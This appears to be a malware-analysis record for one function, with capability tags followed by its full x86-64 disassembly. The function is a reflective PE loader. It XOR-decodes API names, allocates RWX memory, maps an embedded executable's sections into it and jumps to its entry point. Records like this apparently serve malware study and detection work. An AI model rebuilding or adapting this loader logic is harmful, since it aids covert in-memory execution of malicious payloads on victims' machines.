Function at 0x1400048f0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x17], rax
xorps xmm0, xmm0
movups xmmword [rbp - 1], xmm0
lea r15, [rbp + 0x5f]
movabs rdx, 0xff00ff00ff00ff00
mov qword [rbp + 7], rdx
mov qword [rbp + 0xf], r15
mov r12, qword [r15]
xor r12, rdx
mov qword [rbp - 0x39], r12
mov qword [rbp - 1], r12
xor r14d, r14d
mov qword [r15], r14
mov r10d, 0x5a4d
mov edx, dword [0x14000b090]
cmp dx, r10w
jne 0x140004d9d
mov rax, qword [0x14000b0cc]
cmp eax, 0x400
jg 0x140004d9d
movsxd rdi, eax
lea r9, [0x14000b090]
add rdi, r9
cmp dword [rdi], 0x4550
jne 0x140004d9d
lea rcx, [rbp + 0x5f]
lea r11, [rbp + 0x5f]
mov r8, qword [r11]
cmp dx, r10w
je 0x1400049ad
mov qword [r11], r8
jmp 0x1400049bf
movsxd rbx, eax
add rbx, 0xb0
add rbx, r9
cmp dword [rbx], 0
jne 0x1400049c2
mov rbx, r14
mov qword [rcx], r14
mov r13, qword [rdi + 0x30]
mov qword [rbp - 0x31], r13
movups xmm0, xmmword [str.__XZYIlRYJqY]
movups xmmword [rbp - 0x19], xmm0
mov eax, dword [0x1400085d8]
mov dword [rbp - 9], eax
movzx eax, byte [0x1400085dc]
mov byte [rbp - 5], al
movsd xmm0, qword [str.__QZ_]
movsd qword [rbp - 0x49], xmm0
movzx eax, word [0x1400085c0]
mov word [rbp - 0x41], ax
cmp byte [0x1400085c1], 0
je 0x140004a34
mov byte [rbp - 0x49], 0x6e
xor byte [rbp - 0x48], 0x34
xor byte [rbp - 0x47], 0x35
xor byte [rbp - 0x46], 0x36
xor byte [rbp - 0x45], 0x37
xor byte [rbp - 0x44], 0x38
xor byte [rbp - 0x43], 0x39
xor byte [rbp - 0x42], 0x3a
xor byte [rbp - 0x41], 0x3b
xor byte [rbp - 0x40], 0x3c
lea rcx, [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r10, rax
cmp byte [rbp - 5], 0
je 0x140004bd0
mov r8d, r14d
cmp dword [0x14000b050], 2
jl 0x140004b95
movdqa xmm5, xmmword [0x140008850]
movdqa xmm4, xmmword [0x1400088a0]
movdqa xmm6, xmmword [0x140008870]
movdqa xmm0, xmmword [str.3333333333333333]
movdqa xmmword [rbp - 0x29], xmm0
lea rcx, [rbp - 0x15]
mov edx, dword [rbp - 0x29]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140008880]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140008880]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140004a90
cmp r8d, 0x15
jge 0x140004bd0
movsxd rax, r8d
lea r9, [rbp - 0x19]
add r9, rax
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140004ba0
lea rdx, [rbp - 0x19]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rdi + 0x30]
mov rcx, 0xffffffffffffffff
call rax
mov edx, dword [rdi + 0x50]
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x140004c34
test rbx, rbx
je 0x140004d9d
mov edx, dword [rdi + 0x50]
xor ecx, ecx
lea r9d, [rax + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x140004d9d
mov qword [rdi + 0x30], rsi
mov r9d, dword [rdi + 0x54]
lea r10, [rbp + 0x5f]
mov r15, qword [r10]
mov qword [r10], r14
mov rcx, rsi
mov eax, r9d
shr eax, 2
lea rdx, [0x14000b090]
sub rdx, rsi
test eax, eax
je 0x140004c6f
mov r8d, eax
mov eax, dword [rcx + rdx]
mov dword [rcx], eax
lea rcx, [rcx + 4]
sub r8, 1
jne 0x140004c60
mov r8d, r9d
and r8d, 3
je 0x140004ca0
mov eax, r9d
sub eax, r8d
cmp eax, r9d
jae 0x140004ca0
mov ecx, eax
add rcx, rsi
nop dword [rax + rax]
movzx eax, byte [rcx + rdx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub r8, 1
jne 0x140004c90
mov qword [r10], r15
xor eax, eax
cmp ax, word [rdi + 6]
jae 0x140004d5f
lea r9, [rbp + 0x5f]
lea r11, [rdi + 0x11c]
xor r12d, r12d
lea r13, [0x14000b090]
nop dword [rax]
nop dword [rax + rax]
mov ebx, dword [r11 - 4]
mov edx, dword [r11]
add rdx, r13
mov r10d, dword [r11 - 8]
add r10, rsi
mov qword [r9], r12
mov rcx, r10
mov eax, ebx
shr eax, 2
test eax, eax
je 0x140004d14
mov r9, rdx
sub r9, r10
mov r8d, eax
nop dword [rax]
mov eax, dword [r9 + rcx]
mov dword [rcx], eax
lea rcx, [rcx + 4]
sub r8, 1
jne 0x140004d00
lea r9, [rbp + 0x5f]
mov ecx, ebx
and ecx, 3
je 0x140004d40
mov eax, ebx
sub eax, ecx
cmp eax, ebx
jae 0x140004d40
add rax, r10
sub rdx, r10
mov r8d, ecx
nop dword [rax]
movzx ecx, byte [rax + rdx]
mov byte [rax], cl
lea rax, [rax + 1]
sub r8, 1
jne 0x140004d30
mov qword [r9], r15
inc r14d
add r11, 0x28
movzx eax, word [rdi + 6]
cmp r14d, eax
jl 0x140004cd0
mov r12, qword [rbp - 0x39]
mov r13, qword [rbp - 0x31]
mov rcx, rsi
call fcn.1400018c0
cmp rsi, r13
je 0x140004d7e
mov r9d, dword [rdi + 0x50]
mov r8, rsi
mov rdx, r13
mov rcx, rsi
call fcn.1400021c0
mov eax, dword [rdi + 0x28]
add rax, rsi
call rax
nop
movabs rax, 0xff00ff00ff00ff00
xor r12, rax
lea rax, [rbp + 0x5f]
mov qword [rax], r12
jmp 0x140004daf
movabs rax, 0xff00ff00ff00ff00
xor r12, rax
mov qword [r15], r12
xor al, al
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.140006030
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret